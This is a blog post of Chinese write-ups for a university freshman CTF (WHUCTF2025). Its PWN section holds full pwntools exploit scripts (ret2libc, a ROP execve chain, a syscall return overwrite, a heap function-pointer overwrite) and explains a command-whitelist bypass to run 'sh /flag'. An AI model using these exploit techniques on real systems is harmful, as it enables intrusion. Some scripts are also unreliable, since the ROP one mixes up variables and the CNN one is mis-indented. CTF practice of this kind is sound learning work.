WHUCTF2025新生赛

one Lv1

第一场比较正式比赛,有点遗憾

 

PWN

ncc

复制容器链接然后nc <host> <port>即get shell


eznote

审计附件注意到view函数中没有负数检测可以拿来泄露libc基址

且add函数存在溢出

并且checksec后发现没有canary

那么直接ret2libc即可get shell
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
#!/usr/bin/env python3
from pwn import *
filename = "demo_patched"
libcname = "/home/thehungedman/.config/cpwn/pkgs/2.39-0ubuntu8.6/amd64/libc6_2.39-0ubuntu8.6_amd64/usr/lib/x86_64-linux-gnu/libc.so.6"
host = "127.0.0.1"
port = 52842
container_id = ""
proc_name = ""
elf = context.binary = ELF(filename)
if libcname:
    libc = ELF(libcname)
gs = '''
b main
'''
def start():
    if args.GDB:
        return gdb.debug(elf.path, gdbscript = gs)
    elif args.REMOTE:
        return remote(host, port)
    elif args.DOCKER:
        import docker
        from os import path
        p = remote(host, port)
        client = docker.from_env()
        container = client.containers.get(container_id=container_id)
        processes_info = container.top()
        titles = processes_info['Titles']
        processes = [dict(zip(titles, proc)) for proc in processes_info['Processes']]
        target_proc = []
        for proc in processes:
            cmd = proc.get('CMD', '')
            exe_path = cmd.split()[0] if cmd else ''
            exe_name = path.basename(exe_path)
            if exe_name == proc_name:
               target_proc.append(proc)
        idx = 0
        if len(target_proc) > 1:
            for i, v in enumerate(target_proc):
                print(f"{i} => {v}")
            idx = int(input(f"Which one:"))
        import tempfile
        with tempfile.NamedTemporaryFile(prefix = 'cpwn-gdbscript-', delete=False, suffix = '.gdb', mode = 'w') as tmp:
            tmp.write(f'shell rm {tmp.name}\n{gs}')
        print(tmp.name)
        run_in_new_terminal(["sudo", "gdb", "-p", target_proc[idx]['PID'], "-x", tmp.name])
        return p
    else:
        return process(elf.path)
p = start()
def add(idx,size,content):
    p.recvuntil(b'your choice:')
    p.sendline(b'1')
    p.recvuntil(b'input your note index (0-9):')
    p.sendline(f'{idx}'.encode())
    p.recvuntil(b'input your note size:')
    p.sendline(f'{size}'.encode())
    p.recvuntil(b'input your note content:')
    p.sendline(f'{content}'.encode())
def view(idx):
    p.recvuntil(b'your choice:')
    p.sendline(b'4')
    p.recvuntil(b'input your note index (0-9):')
    p.sendline(f'{idx}'.encode())
def delete(idx):
    p.recvuntil(b'your choice:')
    p.sendline(b'2')
    p.recvuntil(b'input your note index (0-9):')
    p.sendline(f'{idx}'.encode())
view(-8)
p.recvuntil(b'note content: ')
leak_addr = int(p.recvuntil(b'\n',drop=True),16)
log.success(f'leak_addr={hex(leak_addr)}')
libc_base=leak_addr-0x2044e0
log.success(f'libc_addr={hex(libc_base)}')
system_addr = libc_base + libc.sym["system"]
binsh_addr = libc_base + next(libc.search(b"/bin/sh"))
pop_rdi_addr=libc_base+0x10f78b
payload = b"a" * 0x118
payload += p64(pop_rdi_addr+1)
payload += p64(pop_rdi_addr)
payload += p64(binsh_addr)
payload += p64(system_addr)
p.recvuntil(b'your choice:')
p.sendline(b'1')
p.recvuntil(b'input your note index (0-9):')
p.sendline(b'0')
p.recvuntil(b'input your note size:')
p.sendline(b'1000')
p.recvuntil(b'input your note content:')
p.sendline(payload)
p.interactive()

magic

首先审计附件,可以看到存在0xf的一个溢出

checksec一下

没有canary,说明可以栈溢出
但是溢出空间太小不能构造rop链,只能想办法仅通过控制返回地址来get sell
查看机器码,发现存在0f 05即syscall的机器码,那我们直接把返回地址指向这里并将rax设置为59,rdi设置为/bin/sh\0即可

在magic函数我们可以进行rdi的控制,即使/bin/sh\0在[rsp+0x8]的地方即可

而rax可以在这里控制

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#!/usr/bin/env python3
from pwn import *
filename = "demo_patched"
libcname = "/home/thehungedman/.config/cpwn/pkgs/2.39-0ubuntu8.6/amd64/libc6_2.39-0ubuntu8.6_amd64/usr/lib/x86_64-linux-gnu/libc.so.6"
host = "127.0.0.1"
port = 52842
container_id = ""
proc_name = ""
elf = context.binary = ELF(filename)
if libcname:
    libc = ELF(libcname)
gs = '''
b main
'''
def start():
    if args.GDB:
        return gdb.debug(elf.path, gdbscript = gs)
    elif args.REMOTE:
        return remote(host, port)
    elif args.DOCKER:
        import docker
        from os import path
        p = remote(host, port)
        client = docker.from_env()
        container = client.containers.get(container_id=container_id)
        processes_info = container.top()
        titles = processes_info['Titles']
        processes = [dict(zip(titles, proc)) for proc in processes_info['Processes']]
        target_proc = []
        for proc in processes:
            cmd = proc.get('CMD', '')
            exe_path = cmd.split()[0] if cmd else ''
            exe_name = path.basename(exe_path)
            if exe_name == proc_name:
               target_proc.append(proc)
        idx = 0
        if len(target_proc) > 1:
            for i, v in enumerate(target_proc):
                print(f"{i} => {v}")
            idx = int(input(f"Which one:"))
        import tempfile
        with tempfile.NamedTemporaryFile(prefix = 'cpwn-gdbscript-', delete=False, suffix = '.gdb', mode = 'w') as tmp:
            tmp.write(f'shell rm {tmp.name}\n{gs}')
        print(tmp.name)
        run_in_new_terminal(["sudo", "gdb", "-p", target_proc[idx]['PID'], "-x", tmp.name])
        return p
    else:
        return process(elf.path)
p = start()
p.recvuntil(b'Do you like stack overflow?')
payload = b'/bin/sh\x00'+b'A'*0x500 + b'\x81\x12\x40\x00\x00\x00\x00'
p.send(payload)
p.recvuntil(b'?')
p.sendline(b'59')
p.interactive()

ez_shell

代码审计难度很大,脑洞也很大的一题
反汇编:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
char *v3; // rbx
char *v4; // rax
char v5; // dl
__int64 i; // rax
char *v7; // rax
__int64 v8; // r14
size_t v9; // r14
char v10; // dl
__int64 v11; // rax
char v12; // dl
__int64 j; // rax
char v14; // dl
__int64 k; // rax
char v16; // dl
__int64 m; // rax
const char *v18; // rsi
const char **v19; // rbx
__int64 n; // rax
int v21; // r14d
FILE *v22; // r14
int v23; // r14d
__pid_t v24; // eax
int v25; // eax
int v26; // r9d
char *v27; // rdi
unsigned int v28; // eax
int v29; // eax
__int64 v30; // rcx
int *v31; // rdi
size_t v32; // rax
__int64 ii; // rax
__int64 v34; // r14
int v35; // [rsp+8h] [rbp-850h]
char *v36; // [rsp+30h] [rbp-828h]
_QWORD v37[7]; // [rsp+58h] [rbp-800h] BYREF
int v38; // [rsp+90h] [rbp-7C8h] BYREF
char v39[8]; // [rsp+98h] [rbp-7C0h] BYREF
char s2[16]; // [rsp+A0h] [rbp-7B8h] BYREF
char v41[32]; // [rsp+B0h] [rbp-7A8h] BYREF
char v42[32]; // [rsp+D0h] [rbp-788h] BYREF
char v43[32]; // [rsp+F0h] [rbp-768h] BYREF
char s[256]; // [rsp+110h] [rbp-748h] BYREF
_OWORD v45[16]; // [rsp+210h] [rbp-648h] BYREF
char v46[16]; // [rsp+310h] [rbp-548h] BYREF
char v47; // [rsp+320h] [rbp-538h] BYREF
_OWORD v48[64]; // [rsp+410h] [rbp-448h] BYREF
unsigned __int64 v49; // [rsp+818h] [rbp-40h]

v49 = __readfsqword(0x28u);
setvbuf(stdout, 0, 1, 0);
v3 = s2;
setvbuf(stdin, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
signal(13, (__sighandler_t)((char *)&dword_0 + 1));
ptrace(PTRACE_TRACEME, 0, 0, 0);
time(0);
puts("========================================\n This is a ez console!\n========================================");
puts(
"I believe you can get the flag easily.\n"
"By the way, What you see is not what you get.\n"
"When all else fails, type help.\n"
"========================================");
while ( 1 )
{
while ( 1 )
{
memset(s, 0, sizeof(s));
putchar(36);
if ( fgets(s, 256, stdin) )
break;
__printf_chk(1, "error");
}
memset(v48, 0, sizeof(v48));
v4 = strchr(s, 10);
if ( v4 )
*v4 = 0;
if ( *(_DWORD *)s == 1886152040 && !s[4] )
{
v48[2] = _mm_load_si128((const __m128i *)&xmmword_21A0);
qmemcpy(v48, "Supported commands: pwd, whoami,", 32);
LOWORD(v48[4]) = 10;
v48[3] = _mm_load_si128((const __m128i *)&xmmword_21B0);
goto LABEL_12;
}
v5 = 41;
for ( i = 0; ; v5 = X_showKey[i] )
{
v3[i++] = v5 ^ 0x5A;
if ( i == 7 )
break;
}
s2[7] = 0;
if ( !strcmp(s, v3) )
{
v23 = time(0);
v24 = getpid();
srand(v23 ^ v24);
rand();
v25 = rand();
v26 = v25;
if ( (v25 & 1) == 0 )
{
v35 = v25;
rand();
v26 = v35;
}
__snprintf_chk(v46, 256, 1, 256, "Key: %u\n", v26);
__strcpy_chk(v48, v46, 1024);
}
else
{
if ( strchr(s, 38)
|| strstr(s, "||")
|| strchr(s, 59)
|| strchr(s, 62)
|| strchr(s, 60)
|| strchr(s, 124)
|| strchr(s, 36)
|| strchr(s, 96) )
{
LOBYTE(v48[1]) = 0;
v48[0] = _mm_load_si128((const __m128i *)&xmmword_21C0);
goto LABEL_12;
}
memset(v45, 0, sizeof(v45));
v7 = strchr(s, 32);
if ( v7 )
{
v8 = v7 - s;
if ( (unsigned __int64)(v7 - s) > 0xFF )
v8 = 255;
__strncpy_chk(v45, s, v8, 256);
*((_BYTE *)v45 + v8) = 0;
}
else
{
strncpy((char *)v45, s, 0xFFu);
}
v9 = strlen((const char *)v45);
if ( v9 )
{
v10 = 45;
v11 = 0;
v38 = 6584176;
while ( 1 )
{
v41[v11++] = v10 ^ 0x5A;
if ( v11 == 6 )
break;
v10 = X_whoami[v11];
}
v12 = 47;
v41[6] = 0;
strcpy(v39, "ls");
for ( j = 0; ; v12 = X_uname[j] )
{
v42[j++] = v12 ^ 0x5A;
if ( j == 5 )
break;
}
v42[5] = 0;
v14 = 41;
for ( k = 0; ; v14 = X_showKey[k] )
{
v43[k++] = v14 ^ 0x5A;
if ( k == 7 )
break;
}
v43[7] = 0;
v16 = 53;
for ( m = 0; ; v16 = X_opendoor[m] )
{
v46[m++] = v16 ^ 0x5A;
if ( m == 11 )
break;
}
v36 = v3;
v18 = (const char *)&v38;
v37[0] = v41;
v19 = (const char **)v37;
v46[11] = 0;
v37[1] = v39;
v37[4] = v46;
v37[2] = v42;
v37[5] = 0;
v37[3] = v43;
while ( strncmp((const char *)v45, v18, v9) )
{
v18 = *v19++;
if ( !v18 )
{
v3 = v36;
LOBYTE(v48[1]) = 0;
v48[0] = _mm_load_si128((const __m128i *)&xmmword_21F0);
goto LABEL_12;
}
}
v3 = v36;
for ( n = 0; n != 11; ++n )
v41[n] = X_opendoor[n] ^ 0x5A;
v41[11] = 0;
v21 = strncmp(v41, (const char *)v45, v9);
if ( v21 )
{
v22 = popen(s, "re");
if ( !v22 )
{
perror("popen failed");
exit(1);
}
while ( fgets(v46, 256, v22) )
__strcat_chk(v48, v46, 1024);
pclose(v22);
}
else
{
v27 = strstr(s, "-k");
if ( v27 && strlen(v27) > 2 )
{
v28 = time(0);
srand(v28);
v29 = rand();
__snprintf_chk(v42, 32, 1, 32, "%d", v29);
v30 = 60;
v31 = (int *)&v47;
*(_OWORD *)v46 = 0;
while ( v30 )
{
*v31++ = v21;
--v30;
}
v32 = strlen(s);
if ( v32 > 0xF )
{
v34 = (int)v32 - 15;
__strncpy_chk(v46, &s[15], v34, 256);
v46[v34] = 0;
}
if ( !strcmp(v42, v46) )
{
for ( ii = 0; ii != 10; ++ii )
v43[ii] = X_catflagN[ii] ^ 0x21;
v43[10] = 0;
*(_QWORD *)s = 0;
snprintf(s, 8u, "%s", v43);
}
else
{
LODWORD(v48[1]) = 663916;
v48[0] = _mm_load_si128((const __m128i *)&xmmword_21E0);
}
}
else
{
strcpy((char *)v48, "please use openthedoor -k <key>. \n");
}
}
}
else
{
*(_QWORD *)&v48[1] = 0xA202E646E616DLL;
v48[0] = _mm_load_si128((const __m128i *)&xmmword_21D0);
}
}
LABEL_12:
__printf_chk(1, "%s", (const char *)v48);
}
}

重点在于:前缀匹配,代码用 strncmp(v45, candidate, v9),其中 v9 = strlen(v45)(用户 token 长度),只要用户 token 是候选命令的前缀且长度 ≤ 候选长度,就会视为匹配,授权边界被扩大;任意短 token(如 "l") 可使 ls(或其他)白名单检查通过,那么因为showKey的存在sh也可以通过匹配而被执行,那么我们可以通过执行sh /flag来通过报错信息获得flag


逆向工程领域大神

这个用ida反汇编及其逆天,符号表全扒+3000多个函数,逆向不了一点

但是可以直接通过动调做出
首先通过输入大量字符来确定缓冲区大小,然后即可通过ROPgadget –binary ./game –ropchain一把梭(需做微调)
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
#!/usr/bin/env python3
from pwn import *
filename = "demo_patched"
libcname = "/home/thehungedman/.config/cpwn/pkgs/2.39-0ubuntu8.6/amd64/libc6_2.39-0ubuntu8.6_amd64/usr/lib/x86_64-linux-gnu/libc.so.6"
host = "127.0.0.1"
port = 52842
container_id = ""
proc_name = ""
elf = context.binary = ELF(filename)
if libcname:
    libc = ELF(libcname)
gs = '''
b main
'''
def start():
    if args.GDB:
        return gdb.debug(elf.path, gdbscript = gs)
    elif args.REMOTE:
        return remote(host, port)
    elif args.DOCKER:
        import docker
        from os import path
        p = remote(host, port)
        client = docker.from_env()
        container = client.containers.get(container_id=container_id)
        processes_info = container.top()
        titles = processes_info['Titles']
        processes = [dict(zip(titles, proc)) for proc in processes_info['Processes']]
        target_proc = []
        for proc in processes:
            cmd = proc.get('CMD', '')
            exe_path = cmd.split()[0] if cmd else ''
            exe_name = path.basename(exe_path)
            if exe_name == proc_name:
               target_proc.append(proc)
        idx = 0
        if len(target_proc) > 1:
            for i, v in enumerate(target_proc):
                print(f"{i} => {v}")
            idx = int(input(f"Which one:"))
        import tempfile
        with tempfile.NamedTemporaryFile(prefix = 'cpwn-gdbscript-', delete=False, suffix = '.gdb', mode = 'w') as tmp:
            tmp.write(f'shell rm {tmp.name}\n{gs}')
        print(tmp.name)
        run_in_new_terminal(["sudo", "gdb", "-p", target_proc[idx]['PID'], "-x", tmp.name])
        return p
    else:
        return process(elf.path)
p = start()
io.recvuntil(b'Input your name:')
pop_rdi_ret = 0x40c6bc
p = b'A'*0x28
p += p64( 0x000000000040faaf) # pop rsi ; ret
p += p64( 0x00000000005e4120) # @ .data
p += p64( 0x0000000000426a1a) # pop rax ; ret
p += b'/bin//sh'
p += p64( 0x000000000041f555) # mov qword ptr [rsi], rax ; ret
p += p64( 0x000000000040faaf) # pop rsi ; ret
p += p64( 0x00000000005e4128) # @ .data + 8
p += p64( 0x0000000000514129) # xor rax, rax ; ret
p += p64( 0x000000000041f555) # mov qword ptr [rsi], rax ; ret
p += p64( 0x000000000040c6bc) # pop rdi ; ret
p += p64( 0x00000000005e4120) # @ .data
p += p64( 0x000000000040faaf) # pop rsi ; ret
p += p64( 0x00000000005e4128) # @ .data + 8
p += p64( 0x000000000053885b) # pop rdx ; pop rbx ; ret
p += p64( 0x00000000005e4128) # @ .data + 8
p += p64( 0x0000000000000000) # padding
p += p64( 0x0000000000514129) # xor rax, rax ; ret
p += p64( 0x0000000000426a1a) # pop rax ; ret
p += p64(59) # pop rax ; ret
p += p64( 0x00000000004ac819) # syscall
io.sendline(p)
p.interactive()


ez_ret2text

最简单的一集
反汇编:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
int __fastcall main(int argc, const char **argv, const char **envp)
{
unsigned __int64 v4; // rax
unsigned __int64 v5; // rax
unsigned __int64 v6; // rax
const char *v7; // rcx
unsigned __int64 v8; // rax
void *v9; // rax
int v10; // r9d
void (__fastcall **ptr)(_QWORD); // [rsp+0h] [rbp-48h]
_BYTE *ptra; // [rsp+0h] [rbp-48h]
const void **ptrb; // [rsp+0h] [rbp-48h]
int ptrc; // [rsp+0h] [rbp-48h]
void *ptrd; // [rsp+0h] [rbp-48h]
__int64 v16; // [rsp+8h] [rbp-40h]
__int64 ulong; // [rsp+8h] [rbp-40h]
__int64 v18; // [rsp+8h] [rbp-40h]

setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
alarm(0x78u);
while ( 1 )
{
puts("\n=== Tiny Arena ===");
puts("1) create");
puts("2) show");
puts("3) poke (single-byte write)");
puts("4) release");
puts("5) exit");
switch ( read_long("> ") )
{
case 1LL:
v8 = read_long("slot idx (0-3): ");
if ( v8 > 3 )
goto LABEL_20;
if ( slots[(int)v8] )
{
puts("[-] occupied");
}
else
{
v18 = (int)v8;
ptrc = v8;
v9 = calloc(1u, 0x28u);
v10 = ptrc;
if ( !v9 )
exit(1);
ptrd = v9;
*((_QWORD *)v9 + 3) = peaceful_release;
*((_DWORD *)v9 + 8) = 100;
__snprintf_chk(v9, 24, 1, 24, "hero_%d", v10);
slots[v18] = ptrd;
__printf_chk(1, "[+] created @ %p\n", ptrd);
}
continue;
case 2LL:
v6 = read_long("slot idx (0-3): ");
if ( v6 > 3 )
goto LABEL_20;
v7 = (const char *)slots[(int)v6];
if ( !v7 )
goto LABEL_17;
ptrb = (const void **)slots[(int)v6];
__printf_chk(1, "name: %.*s\n", 24, v7);
__printf_chk(1, "hp: %d\n", *((_DWORD *)ptrb + 8));
__printf_chk(1, "on_release: %p\n", ptrb[3]);
break;
case 3LL:
v5 = read_long("slot idx (0-3): ");
if ( v5 > 3 )
goto LABEL_20;
ptra = (_BYTE *)slots[(int)v5];
if ( !ptra )
goto LABEL_17;
ulong = read_ulong("index: ");
ptra[ulong] = read_ulong("byte value (0-255 or 0x..): ");
puts("[+] wrote one byte.");
break;
case 4LL:
v4 = read_long("slot idx (0-3): ");
if ( v4 > 3 )
{
LABEL_20:
puts("[-] bad idx");
}
else
{
v16 = (int)v4;
ptr = (void (__fastcall **)(_QWORD))slots[(int)v4];
if ( ptr )
{
__printf_chk(1, "[*] Releasing slot %d ...\n", v4);
ptr[3](ptr);
free(ptr);
slots[v16] = 0;
puts("[*] Freed.");
}
else
{
LABEL_17:
puts("[-] empty");
}
}
break;
case 5LL:
puts("bye");
return 0;
default:
puts("???");
continue;
}
}
}

关键点在于release后会从产生的堆上获得地址来执行,同时我具有编辑堆内容的能力且存在backdoor,虽然有pie,但只要把地址末四位改为backdoor地址并爆破即可

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
#!/usr/bin/env python3
from pwn import *
filename = "demo_patched"
libcname = "/home/thehungedman/.config/cpwn/pkgs/2.39-0ubuntu8.6/amd64/libc6_2.39-0ubuntu8.6_amd64/usr/lib/x86_64-linux-gnu/libc.so.6"
host = "127.0.0.1"
port = 52842
container_id = ""
proc_name = ""
elf = context.binary = ELF(filename)
if libcname:
    libc = ELF(libcname)
gs = '''
b main
'''
def start():
    if args.GDB:
        return gdb.debug(elf.path, gdbscript = gs)
    elif args.REMOTE:
        return remote(host, port)
    elif args.DOCKER:
        import docker
        from os import path
        p = remote(host, port)
        client = docker.from_env()
        container = client.containers.get(container_id=container_id)
        processes_info = container.top()
        titles = processes_info['Titles']
        processes = [dict(zip(titles, proc)) for proc in processes_info['Processes']]
        target_proc = []
        for proc in processes:
            cmd = proc.get('CMD', '')
            exe_path = cmd.split()[0] if cmd else ''
            exe_name = path.basename(exe_path)
            if exe_name == proc_name:
               target_proc.append(proc)
        idx = 0
        if len(target_proc) > 1:
            for i, v in enumerate(target_proc):
                print(f"{i} => {v}")
            idx = int(input(f"Which one:"))
        import tempfile
        with tempfile.NamedTemporaryFile(prefix = 'cpwn-gdbscript-', delete=False, suffix = '.gdb', mode = 'w') as tmp:
            tmp.write(f'shell rm {tmp.name}\n{gs}')
        print(tmp.name)
        run_in_new_terminal(["sudo", "gdb", "-p", target_proc[idx]['PID'], "-x", tmp.name])
        return p
    else:
        return process(elf.path)
p = start()
p.recvuntil(b'>')
p.sendline(b'1')
p.recvuntil(b'slot idx (0-3):')
p.sendline(b'0')

p.recvuntil(b'>')
p.sendline(b'3')
p.recvuntil(b'slot idx (0-3):')
p.sendline(b'0')
p.recvuntil(b'index:')
p.sendline(b'0x19')
p.recvuntil(b'byte value (0-255 or 0x..):')
p.sendline(b'0x96')

p.recvuntil(b'>')
p.sendline(b'3')
p.recvuntil(b'slot idx (0-3):')
p.sendline(b'0')
p.recvuntil(b'index:')
p.sendline(b'0x18')
p.recvuntil(b'byte value (0-255 or 0x..):')
p.sendline(b'0xf4')

p.recvuntil(b'>')
p.sendline(b'4')
p.recvuntil(b'slot idx (0-3):')
p.sendline(b'0')

p.sendline(b'cat flag')
p.interactive()



WEB

U5er0Agent

根据题目信息,加上?source=1后获得源码
然后拷打ai
https://chatgpt.com/s/t_68ff24dd04188191931af9922620aa41


MISC

AI Problem 1

拷打ai
https://chatgpt.com/share/68fb9442-e0f4-8000-8a84-83c95592bf0d

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
#!/usr/bin/env python3
import os, re, sys, binascii
import torch
import torch.nn as nn
import torch.optim as optim
from torchvision import transforms, datasets
from torch.utils.data import DataLoader
from PIL import Image
from glob import glob

DEVICE = "cuda" if torch.cuda.is_available() else "cpu"
MNIST_DIR = "modified_mnist"
IMG_DIR = "imgs"
OUT_MODEL = "trained_model.pth"
EPOCHS = 3
BATCH = 128
LR = 1e-3
KEY = b"CIALLO0d000721998244353ISAPRIME"
class SmallCNN(nn.Module):
    def __init__(self):
        super().__init__()
        self.conv1 = nn.Conv2d(1,32,3,1,1)
        self.conv2 = nn.Conv2d(32,64,3,1,1)
        self.pool = nn.MaxPool2d(2)
        self.relu = nn.ReLU()
        self.fc1 = nn.Linear(64*7*7,128)
        self.fc2 = nn.Linear(128,10)
    def forward(self,x):
        x = self.relu(self.conv1(x))
        x = self.pool(x)
        x = self.relu(self.conv2(x))
        x = self.pool(x)
        x = x.view(x.size(0), -1)
        x = self.relu(self.fc1(x))
     return self.fc2(x)
def train_mnist(model, root, epochs=EPOCHS):
    transform = transforms.Compose([
        transforms.ToTensor(),
        transforms.Normalize((0.5,), (0.5,))
    ])
    train_ds = datasets.MNIST(root=root, train=True, download=False, transform=transform)
    loader = DataLoader(train_ds, batch_size=BATCH, shuffle=True)
    opt = optim.Adam(model.parameters(), lr=LR)
    lossfn = nn.CrossEntropyLoss()
    model.to(DEVICE)
    for ep in range(epochs):
        model.train(); tot=0; acc=0
        for xb,yb in loader:
            xb,yb=xb.to(DEVICE),yb.to(DEVICE)
            out=model(xb); loss=lossfn(out,yb)
            opt.zero_grad(); loss.backward(); opt.step()
            tot+=yb.size(0); acc+=(out.argmax(1)==yb).sum().item()
        print(f"[epoch {ep+1}] acc={acc/tot:.4f}")
    torch.save(model.state_dict(), OUT_MODEL)
    return model
def infer(model):
    transform = transforms.Compose([
        transforms.Grayscale(1),
        transforms.Resize((28,28)),
        transforms.ToTensor(),
        transforms.Normalize((0.5,), (0.5,))
    ])
    paths = sorted(glob(os.path.join(IMG_DIR, "*.png")), key=lambda p:int(re.search(r'img_index_(\d+)\.png',p).group(1)))
    out=[]
    with torch.no_grad():
        model.eval()
        for p in paths:
            im = Image.open(p).convert("L")
            x = transform(im).unsqueeze(0).to(DEVICE)
            pred = model(x).argmax(1).item()
            out.append(str(pred))
    return "".join(out)
def dec_to_bytes(s):
    n=int(s,10)
    h=hex(n)[2:]
    if len(h)%2: h="0"+h
    return binascii.unhexlify(h)
def xor_dec(ct,key):
    return bytes([b ^ key[i%len(key)] for i,b in enumerate(ct)])
def main():
    if not os.path.isdir(MNIST_DIR):
        print("错误:未找到 modified_mnist/MNIST 目录")
        sys.exit(1)
    model=SmallCNN()
    if os.path.exists(OUT_MODEL):
        model.load_state_dict(torch.load(OUT_MODEL, map_location=DEVICE))
        print("[*] 已加载现有模型")
    else:
        model=train_mnist(model,MNIST_DIR)
    decs=infer(model)
    print("[*] decimal string preview:",decs[:200])
    ct=dec_to_bytes(decs)
    pt=xor_dec(ct,KEY)
    try:
        s=pt.decode()
    except:
        s=pt.decode("latin1")
    print("\n===== FLAG =====\n", s)
if __name__=="__main__":
    main()



梅林午餐肉

拷打ai


猫咪日记 01

base100加密

REVERSE

ez_base

换表base64


签到

拷打ai
https://chatgpt.com/share/68fba231-4a00-8000-a88c-c343376e9d75

  • 标题: WHUCTF2025新生赛
  • 作者: one
  • 创建于 : 2025-10-26 00:00:00
  • 更新于 : 2025-10-31 11:54:35
  • 链接: https://redefine.ohevan.com/2025/10/26/WHUCTF2025新生赛/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论